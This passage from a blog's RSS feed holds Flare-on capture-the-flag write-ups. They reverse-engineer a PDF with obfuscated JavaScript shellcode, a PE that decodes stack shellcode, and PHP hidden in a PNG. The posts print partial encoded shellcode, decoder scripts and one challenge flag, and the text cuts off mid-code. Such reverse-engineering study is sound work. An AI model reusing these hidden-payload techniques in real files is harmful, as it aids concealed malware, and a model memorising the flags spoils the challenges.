&lt;p&gt;&lt;code&gt;pdf-parser.py -f APT9001.orig.pdf &amp;gt; apt5.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Looking through the content I find a block of Javascript code that looks interesting&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-28-flare-on-1-challenge-4-sploitastic-images/Screen-Shot-2021-01-12-at-22.44.13.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
After copying it out and some manual de-obfuscation I find a block of what looks to be hex-encoded shellcode. I grabbed a script to decode it into a binary file to run and debug.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-28-flare-on-1-challenge-4-sploitastic-images/Screen-Shot-2021-01-12-at-22.44.25.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;from binascii import unhexlify as unhx

#encoded = open(&amp;#39;encoded.txt&amp;#39;).read() # The shellcode dump
out = open(&amp;#39;shellcode.bin&amp;#39;, &amp;#39;wb&amp;#39;)

encoded =&amp;#34;%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u-SNIP-%u2454%u5740%ud0ff&amp;#34;

for s in encoded.split(&amp;#39;%&amp;#39;):
    if len(s) == 5:
        HI_BYTE = s[3:]
        LO_BYTE = s[1:3]
        out.write(unhx(HI_BYTE))
        out.write(unhx(LO_BYTE))
out.close()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I took the binary code and loaded it in &lt;a href=&#34;https://github.com/OALabs/BlobRunner&#34;&gt;BlobRunner&lt;/a&gt; and attached x64dbg to it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-28-flare-on-1-challenge-4-sploitastic-images/711a85a33e33427082e24b7a13b3dd50.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The first instruction sets the carry flag to 1, the following instruction JMPs to end the code if the CF flag is set, the JB instruction needs to be patched to a NOP or the CF set to 0 to keep running the code.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-28-flare-on-1-challenge-4-sploitastic-images/Screen-Shot-2021-01-12-at-22.32.04.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The code can be walked through until it loads the flag into the stack around offsec of +0x3c1 and it shows up in the register of ECX.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-28-flare-on-1-challenge-4-sploitastic-images/Screen-Shot-2021-01-12-at-22.36.20.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
&lt;img src=&#34;../2021-01-28-flare-on-1-challenge-4-sploitastic-images/Screen-Shot-2021-01-12-at-22.28.37.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
However, if you run the code until completion it shows up as junk in the message box that is displayed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-28-flare-on-1-challenge-4-sploitastic-images/Screen-Shot-2021-01-12-at-22.29.34.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
To get the flag to show up in the message box you need to NOP the look starting at +0x3ce before the CALL to EAX.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-28-flare-on-1-challenge-4-sploitastic-images/Screen-Shot-2021-01-12-at-22.35.04.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Now the flag shows up in the message box!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-28-flare-on-1-challenge-4-sploitastic-images/Screen-Shot-2021-01-12-at-22.35.29.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template-1-4.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>python</category>
            
          
            
              <category>reverse engineering</category>
            
          
            
              <category>wireshark</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-on 1 – Challenge 3 - Shellolololol</title>
        <link>https://ben.the-collective.net/posts/2021-01-26-flare-on-1-challenge-3-shellolololol/</link>
        <pubDate>Tue, 26 Jan 2021 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 26 Jan 2021 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-01-26-flare-on-1-challenge-3-shellolololol/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
Challenge 3 brings a PE executable file to take a look at.
such_evil: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows I loaded the file up in x64dbg and after navigating to the main function it looks to load a whole lot of data onto the stack then CALL into the loaded code.</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;https://ben.the-collective.net/project-flareon/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Challenge 3 brings a PE executable file to take a look at.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;such_evil: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I loaded the file up in x64dbg and after navigating to the main function it looks to load a whole lot of data onto the stack then CALL into the loaded code.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-26-flare-on-1-challenge-3-shellolololol-images/Screen-Shot-2021-01-11-at-22.38.18.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-26-flare-on-1-challenge-3-shellolololol-images/Screen-Shot-2021-01-11-at-22.38.42.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
I continued to step through the program monitoring and watching the memory region pointed to be ESI.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-26-flare-on-1-challenge-3-shellolololol-images/Screen-Shot-2021-01-11-at-22.20.19.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The shell code (not pictured) is decoded and over written in multiple stages leaving these messages at ESI&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-26-flare-on-1-challenge-3-shellolololol-images/Screen-Shot-2021-01-11-at-22.28.11.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Finally revealing the flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-26-flare-on-1-challenge-3-shellolololol-images/Screen-Shot-2021-01-11-at-22.31.08.png&#34; alt=&#34;such.5h311010101@flare-on.com&#34; /&gt;&lt;br /&gt;
There are more elaborate ways to reveal the flag, the &lt;a href=&#34;https://www.fireeye.com/blog/threat-research/2014/11/the_flare_on_challen.html&#34;&gt;official write up&lt;/a&gt; uses IDAPython scripting to manually decode the messages.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template-1-3.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-on 1 – Challenge 2 - Javascrap</title>
        <link>https://ben.the-collective.net/posts/2021-01-21-flare-on-1-challenge-2-javascrap/</link>
        <pubDate>Thu, 21 Jan 2021 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Thu, 21 Jan 2021 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-01-21-flare-on-1-challenge-2-javascrap/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
In Challenge 2 the zip file extracts a html and png file.
From the top of the HTML file to looks pretty normal until you see the PHP tag located near the bottom of the code including the PNG file in the img directory.
The file looks to be a normal PNG file and displays image data when loaded.</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;https://ben.the-collective.net/project-flareon/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In Challenge 2 the zip file extracts a html and png file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-21-flare-on-1-challenge-2-javascrap-images/image.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
From the top of the HTML file to looks pretty normal until you see the PHP tag located near the bottom of the code including the PNG file in the &lt;em&gt;img&lt;/em&gt; directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-21-flare-on-1-challenge-2-javascrap-images/image-1.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
The file looks to be a normal PNG file and displays image data when loaded.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-21-flare-on-1-challenge-2-javascrap-images/image-3-e1610848618587-1024x693.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-01-21-flare-on-1-challenge-2-javascrap-images/image-4-e1610848566699-1024x639.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
At the end of the file, you find some PHP code. I copied out the PHP code and translated it to some python code, it looks to be a decoding routine to generate a payload.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;terms&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;M&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Z&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;p&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;w&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;f&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;v&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Q&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;z&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;s&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;m&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;+&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;E&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;D&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;g&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;W&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;q&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;y&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;T&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;V&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;n&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;S&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;X&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;)&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;9&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;C&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;P&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;r&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;amp;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#39;&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;!&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;x&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;G&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;~&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;O&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;h&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;u&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;U&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;@&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;H&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;3&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;F&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;6&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;b&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;L&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;^&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;,&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;l&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;$&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;d&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;`&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;%&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;[&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;J&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;5&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;_&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;A&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;=&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;{&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;k&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;o&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;7&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;#&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;i&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;I&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;(&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;j&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;K&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;c&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;B&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;t&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;R&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;4&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;8&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;e&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;order&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;59&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;71&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;73&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;81&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;76&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;76&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;68&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;63&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;45&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;68&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;87&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span 